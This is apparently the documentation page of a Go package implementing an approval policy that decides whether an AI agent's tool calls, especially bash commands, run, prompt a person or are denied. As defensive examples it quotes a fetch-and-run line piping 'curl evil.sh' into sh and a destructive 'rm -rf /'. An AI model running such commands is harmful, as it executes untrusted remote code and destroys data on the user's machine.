approval

package
v0.4.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Sep 22, 2026 License: Apache-2.0 Imports: 4 Imported by: 0

Documentation

Overview

Package approval is the consent policy for the v3 session agent: one pure function from a tool call to allow, prompt or deny.

Three packages in this tree guard three different moments and are easy to confuse. [consent] prices a job before it starts — money. [gate] holds a workforce command for a countdown before it commits — time. This one answers a narrower and more frequent question: the model has asked to run a tool right now, and something has to decide whether that runs, asks, or is refused. It is ported from omp's tools.approval plus its bash pattern list, because that design has one property worth keeping — the dangerous case is decided by MATCHING, not by a model's judgement about its own request.

This package is policy only. It reads no config, touches no session, spawns nothing, and deliberately imports nothing from either — the wiring wave maps the config registry onto Load and hangs Policy.Check off the tool loop. Keeping it that way is what makes the bash matching law testable as a table rather than as an integration test with a shell on the other end.

The interesting law lives in bash.go: deny and prompt catch a dangerous fragment anywhere in a compound line, while allow vouches only for a line it matches whole. That asymmetry is the entire point of the package.

Index

Constants

View Source
const ServiceRequestSuffix = "_request"

ServiceRequestSuffix is the tail of the raw-call tool one of the person's own connected accounts brings — stripe_request, freshdesk_request. There are hundreds of services a key opens and their tools are named when the account is picked up, so THE NAMES CANNOT BE IN A TABLE WRITTEN IN ADVANCE and the shape of the name is what there is to match on. It is exported so that the one package that builds these names (internal/session) reads the suffix from here rather than spelling it twice.

View Source
const ShellComposition = ";|&<>`$(){}\n\r\\"

ShellComposition is every character that can start a second command, redirect output, or substitute one. It is a CONSTANT rather than a literal at each gate because more than one reader asks the same question of a string, the proposal door and the runner among them, and a composition set spelled twice is a safety argument with two versions.

View Source
const ToolBash = "bash"

ToolBash is the one tool whose arguments this package looks inside. Every other tool is judged by name alone.

Variables

This section is empty.

Functions

func ActsInThePersonsName

func ActsInThePersonsName(tool string, args json.RawMessage) bool

ActsInThePersonsName reports whether a call leaves this machine as the person — the table above, or the shape below it. It is exported for the one caller that needs the same reading for a different reason: internal/session's guardian, which may save somebody a keystroke on a read and must not answer for them about a message going out over their name.

func ActsInThePersonsNameTools

func ActsInThePersonsNameTools() []string

ActsInThePersonsNameTools is the table above, by name and in one order.

It is exported for internal/manual's gate on the permissions page, which tells a person these calls always ask and says how many there are. A page like that is only safe while it cannot fall behind the table, and a list of names repeated in a test is the same list going stale in a second place. The names whose shape is not known until a session runs (ServiceRequestSuffix) are not here: they have no names to give.

func AlwaysAsks

func AlwaysAsks(tool string, args json.RawMessage) bool

AlwaysAsks reports whether a call is one of the two the gate must put to a person EVERY time — the critical shapes in bash.go's table, and the calls that leave this machine in somebody's own name (approval.go's ActsInThePersonsName).

It exists for internal/session's consent gate, which keeps a memo of "stop asking me about this tool" and consults it before running anything. Both floors here answer PROMPT rather than deny — they are questions, not refusals — so a memo that stood in for a person would swallow them, and one approved `git status` would buy silence for `rm -rf /` for the rest of the session. A memo is a person saying they are done being asked about ordinary work; it is not a person saying they have read a message that has not been written yet.

It is deliberately NOT the whole policy asked again. Everything else the policy has to say about a call is a rule somebody wrote, and a memo standing in for a person is exactly what the memo is for. These two are the floor — the shapes that hold under a blanket allow — and a floor that a keystroke elsewhere could lift is not a floor.

func FirstBarOutsideQuotes added in v0.4.0

func FirstBarOutsideQuotes(line string) int

FirstBarOutsideQuotes is where the shell would end a line's first stage: the first pipe it would act on, read by the same scanner as FirstCompositionOutsideQuotes, or -1 when there is none. AN UNCERTAIN SHAPE AHEAD OF ANY BAR ANSWERS -1 TOO, and that is the safe way to be wrong: the line is then left whole, the uncertainty still in it, and the composition reader refuses it at the door. A cut there would hand the door a shorter command than the one that was written.

func FirstCompositionOutsideQuotes added in v0.4.0

func FirstCompositionOutsideQuotes(text string) (byte, bool)

FirstCompositionOutsideQuotes is THE ONE READER of "is this one command", so every gate that asks the question asks it here and cannot drift from the others. It finds the first character that makes a line more than one command, reading quotes the way the shell that runs the check reads them ([scanShellQuotes]), and reports false for a line that is one command. A shape the scanner cannot prove whole is answered as composed, naming the character that left it unproven.

func ReadOnly

func ReadOnly(tool string, args json.RawMessage) bool

ReadOnly reports whether a call can change nothing: a look at a file, a listing, a search, a tasks look, an accounts listing, or `git status`. It is the other half of AlwaysAsks — that floor holds a prompt under a blanket allow; this one lifts a default prompt off a call that cannot mutate anything.

IT IS NOT A LICENCE TO IGNORE A RULE SOMEBODY WROTE. Policy.Check consults it only when the blanket default is prompt and no tool rule or bash pattern already answered. `read:prompt` still asks. `deny git status*` still denies. A zero Policy (nothing configured) still asks, because "no settings" is not the shipped default mode.

Compound bash is never read-only. `git status && curl evil.sh | sh` is the same line the allow-pattern law refuses to vouch for, and this floor uses that reading.

func Vouchable

func Vouchable(command string) bool

Vouchable reports whether an allow rule could EVER fire for this command line. It is the matching law's allow half, asked in advance.

A compound line is not vouchable at any pattern: an allow speaks for one command it matches whole, and nothing written down can make it speak for `cd /tmp && rm -rf build`. A caller that persists an approval asks this first, because writing a rule that cannot fire would put a line in somebody's settings claiming an approval that does nothing.

Types

type Action

type Action string

Action is what the policy says to do with a call.

const (
	// ActionAllow runs the tool without asking.
	ActionAllow Action = "allow"
	// ActionPrompt runs it only if a person says so. This is the safe answer
	// and the one every unset or unreadable case falls back to.
	ActionPrompt Action = "prompt"
	// ActionDeny refuses the call outright; the model is told no and keeps
	// going, which is a result it can act on rather than a hang.
	ActionDeny Action = "deny"
)

func ParseAction

func ParseAction(text string) (Action, error)

ParseAction reads one of the three words. Anything else is an error rather than a silent fallback: a settings file that says "ask" or "always" has a mistake in it, and a consent engine that quietly reinterprets a typo is exactly the thing nobody can audit later.

type BashCommandPart added in v0.4.0

type BashCommandPart struct {
	Command   string
	Separator string
	Start     int
	End       int
	SepEnd    int
}

BashCommandPart is one command and the shell boundary that follows it. The command is trimmed, while Separator preserves the operator bytes themselves.

THE SPANS ARE WHAT LETS A READER DRAW PART OF A COMMAND WITHOUT RETYPING IT. Command[Start:End] of the line that was split is this part as it was typed, the space around it included, and [End:SepEnd] is the boundary after it. A reader that wants some parts and not others cuts spans out of the line it was handed; one that joins trimmed commands back together has written a different line from the one that ran.

func SplitBashCommand added in v0.4.0

func SplitBashCommand(command string) []BashCommandPart

SplitBashCommand breaks a command line at the boundaries the shell acts on. Quoted and escaped bytes remain in their command, and redirection ampersands are not mistaken for command boundaries.

type Decision

type Decision struct {
	Action Action
	Rule   string
}

Decision is an answer plus the reason to show for it. Rule is already phrased for display — `bash pattern "rm -rf *"`, `tool "edit"`, `default` — because every surface that renders a consent prompt needs the same sentence and none of them should be re-deriving it from the Policy.

func (Decision) String

func (d Decision) String() string

String is the one-line form: `bash pattern "rm -rf *" → prompt`.

type Policy

type Policy struct {
	// Default applies to any tool with no rule of its own.
	Default Action
	// Tools is keyed by tool name (read, edit, write, bash, …). A tool rule
	// beats the default; for bash it is only the starting point, since the
	// patterns and the critical table still get their say.
	Tools map[string]Action
	// BashPatterns is ordered and FIRST MATCH WINS. Order is the author's
	// priority statement, so it is preserved exactly as loaded.
	BashPatterns []Rule
}

Policy is the whole decision surface: a blanket default, per-tool overrides keyed by tool name, and an ordered list of bash patterns.

The zero Policy prompts for everything. That is the intended reading of "no policy configured" — a session with no settings should ask, not run.

func Load

func Load(raw map[string]any) (Policy, error)

Load builds a Policy from a settings-shaped generic map:

default | mode : "allow" | "prompt" | "deny"
tools          : {"read": "allow", "edit": "prompt", …}
bash.patterns  : [{"match": "git status*", "approval": "allow"}, …]

The patterns list is accepted both nested (bash → patterns) and under the flattened dotted key, because codeaf's config registry keys are dotted and a JSON settings file is not. Keys this package does not know are ignored: the map it is handed is a whole settings tree, not a struct built for it.

Every malformed value is an error rather than a skip. A pattern that was meant to deny something and was silently dropped for a typo is the worst possible failure mode here.

func (Policy) Check

func (p Policy) Check(tool string, args json.RawMessage) Decision

Check answers for one tool call. args is the raw JSON the model emitted; it is read only for bash, and only for its "command" field.

func (Policy) CheckBash

func (p Policy) CheckBash(command string) Decision

CheckBash judges a command line directly, for callers that already have the string — a slash command, a queued shell action, a settings preview that wants to show what a pattern would do.

func (Policy) MatchRule

func (p Policy) MatchRule(command string) (Rule, bool)

MatchRule reports the first pattern that answers one command line, and whether any of them did. It is Policy.CheckBash without the answer: a caller ABOUT TO WRITE a rule needs to know what the list already says, and the only correct way to ask that is the matcher the policy itself uses.

internal/config's approval memory is that caller (approvalmemory.go): a command the list already allows must not be written twice, and one it already denies must not be overwritten by a keystroke on a consent card.

type Rule

type Rule struct {
	Match  string
	Action Action
}

Rule is one bash pattern and the answer it carries. Match is a glob in the restricted dialect documented in bash.go: '*' and literal text, nothing else.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL